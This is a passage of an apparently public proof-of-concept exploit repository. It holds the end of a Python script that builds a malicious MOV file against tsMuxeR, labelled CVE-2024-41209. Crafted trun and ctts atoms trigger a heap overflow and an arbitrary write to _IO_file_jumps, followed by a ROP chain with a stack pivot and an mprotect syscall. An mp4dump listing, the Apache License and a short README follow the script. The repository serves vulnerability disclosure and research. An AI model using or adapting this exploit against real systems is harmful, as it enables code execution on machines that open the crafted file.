b'\x00\x00\x00' # flags 40 | ctts1 += p32(0, 'big') # entries (resize) 41 | 42 | # 本質パート 43 | trun2_entries = [0xdeadbeef, 0x191] + [u64(b"trun2")] * 22 44 | trun2_entries += [elf.symbol("_IO_file_jumps")] # 書き込み先 45 | trun2 = b'' 46 | trun2 += b'\x00' # version 47 | trun2 += b'\x00\x08\x00' # flags (set for ctts_data) 48 | trun2 += p32(len(trun2_entries), 'big') # entries 49 | trun2 += flat(trun2_entries, map=lambda x: p32(x, 'big')) 50 | 51 | # vectorを作るためのctts 52 | ctts2 = b'' 53 | ctts2 += b'\x00' # version 54 | ctts2 += b'\x00\x00\x00' # flags 55 | ctts2 += p32(1, 'big') # entries (resize) 56 | ctts2 += p32(0, 'big') + p32(0, 'big') # count / duration 57 | 58 | # 壊れたvectorに書き込むためのAAW 59 | # 0x007b0861: mov esp, ebp; pop rbx; pop rbp; mov rax, r12; pop r12; ret; 60 | rop_pivot = next(elf.gadget( 61 | "mov esp, ebp; pop rbx; pop rbp; mov rax, r12; pop r12; ret" 62 | )) 63 | 64 | addr_write = elf.symbol("_IO_file_jumps") - 0x20 65 | ctts3_entries = [ 66 | [0xdead0000, 0xcafe0000], # rbx / rbp 67 | [0xdead0012, next(elf.gadget('pop rdi; ret'))], # r12 68 | [addr_write & ~0xfff, next(elf.gadget('pop rsi; ret'))], 69 | [0x4000, next(elf.gadget('pop rdx; ret'))], 70 | [0b111, next(elf.gadget('pop rax; ret'))], 71 | [syscall.x64.mprotect, next(elf.gadget('syscall; pop rbp; ret'))], 72 | [rop_pivot, addr_write], 73 | ] 74 | ctts3 = b'' 75 | ctts3 += b'\x00' # version 76 | ctts3 += b'\x00\x00\x00' # flags 77 | ctts3 += p32(len(ctts3_entries), 'big') # entries (resize) 78 | ctts3 += flat(ctts3_entries, map=lambda p: p32(p[0], 'big') + p32(p[1], 'big')) 79 | 80 | moov = b'' 81 | moov += p32(8 + len(trak), 'big') + b'trak' + trak 82 | moov += p32(8 + len(trex1), 'big') + b'trex' + trex1 83 | moov += p32(8 + len(tfhd1), 'big') + b'tfhd' + tfhd1 84 | moov += p32(8 + len(trun1), 'big') + b'trun' + trun1 85 | moov += p32(8 + len(ctts1), 'big') + b'ctts' + ctts1 86 | moov += p32(8 + len(trak), 'big') + b'trak' + trak # MovStreamContextを確保 87 | moov += p32(8 + len(ctts2), 'big') + b'ctts' + ctts2 # vectorをセット 88 | moov += p32(8 + len(trun2), 'big') + b'trun' + trun2 # heap overflow 89 | moov += p32(8 + len(ctts3), 'big') + b'ctts' + ctts3 # AAW 90 | 91 | payload = b"" 92 | payload += p32(8 + len(ftyp), 'big') + b'ftyp' + ftyp 93 | payload += p32(8 + len(moov), 'big') + b"moov" + moov 94 | payload += p32(8, 'big') + b'cmov' # throw 95 | 96 | with open("exploit.mov", "wb") as f: 97 | f.write(payload) 98 | 99 | #sock = Process(["./tsMuxeR", "exploit.mov"]) 100 | #sock.sh() 101 | -------------------------------------------------------------------------------- /CVE-2024-41209/mp4dump_result: -------------------------------------------------------------------------------- 1 | [ftyp] size=8+20 2 | major_brand = iso5 3 | minor_version = 1 4 | compatible_brand = avc1 5 | compatible_brand = dash 6 | compatible_brand = iso5 7 | [free] size=8+50 8 | [moov] size=8+741 9 | [mvhd] size=12+96 10 | timescale = 1000 11 | duration = 0 12 | duration(ms) = 0 13 | [mvex] size=8+48 14 | [mehd] size=12+4 15 | duration = 2000 16 | [trex] size=12+20 17 | track id = 1 18 | default sample description index = 1 19 | default sample duration = 512 20 | default sample size = 0 21 | default sample flags = 10000 22 | [trak] size=8+472 23 | [tkhd] size=12+80, flags=f 24 | enabled = 1 25 | id = 1 26 | duration = 0 27 | width = 320.000000 28 | height = 240.000000 29 | [mdia] size=8+372 30 | [mdhd] size=12+20 31 | timescale = 15360 32 | duration = 0 33 | duration(ms) = 0 34 | language = und 35 | [hdlr] size=12+33 36 | handler_type = vide 37 | handler_name = VideoHandler 38 | [minf] size=8+287 39 | [vmhd] size=12+8, flags=1 40 | graphics_mode = 0 41 | op_color = 0000,0000,0000 42 | [dinf] size=8+28 43 | [dref] size=12+16 44 | [url ] size=12+0, flags=1 45 | location = [local to file] 46 | [stbl] size=8+223 47 | [stsd] size=12+143 48 | entry_count = 0 49 | [ctts] size=12+4 50 | entry_count = 0 51 | [stsc] size=12+4 52 | entry_count = 0 53 | [stsz] size=12+8 54 | sample_size = 0 55 | sample_count = 0 56 | [stco] size=12+4 57 | entry_count = 0 58 | [udta] size=8+89 59 | [meta] size=12+77 60 | [hdlr] size=12+21 61 | handler_type = mdir 62 | handler_name = 63 | [ilst] size=8+36 64 | [.too] size=8+28 65 | [data] size=8+20 66 | type = 1 67 | lang = 0 68 | value = Lavf55.8.100 69 | [sidx] size=12+32 70 | reference_ID = 1 71 | timescale = 15360 72 | earliest_presentation_time = 1024 73 | first_offset = 0 74 | [moof] size=8+160 75 | [mfhd] size=12+4 76 | sequence number = 1 77 | [traf] size=8+136 78 | [tfhd] size=12+4, flags=20000 79 | track ID = 1 80 | [tfdt] size=12+4 81 | base media decode time = 0 82 | [trkn] size=8+96 83 | [mdat] size=8+5147 84 | [sidx] size=12+32 85 | reference_ID = 1 86 | timescale = 15360 87 | earliest_presentation_time = 6144 88 | first_offset = 0 89 | [moof] size=8+160 90 | [mfhd] size=12+4 91 | sequence number = 2 92 | [traf] size=8+136 93 | [tfhd] size=12+4, flags=20000 94 | track ID = 1 95 | [tfdt] size=12+4 96 | base media decode time = 5120 97 | [trun] size=12+92, flags=a05 98 | sample count = 10 99 | data offset = 176 100 | first sample flags = 0 101 | [mdat] size=8+5319 102 | [sidx] size=12+32 103 | reference_ID = 1 104 | timescale = 15360 105 | earliest_presentation_time = 11264 106 | first_offset = 0 107 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Proof-of-Concepts 2 | 3 | This repository bundles Proof-of-Concepts of the exploits that we developed and decided to make public. 4 | --------------------------------------------------------------------------------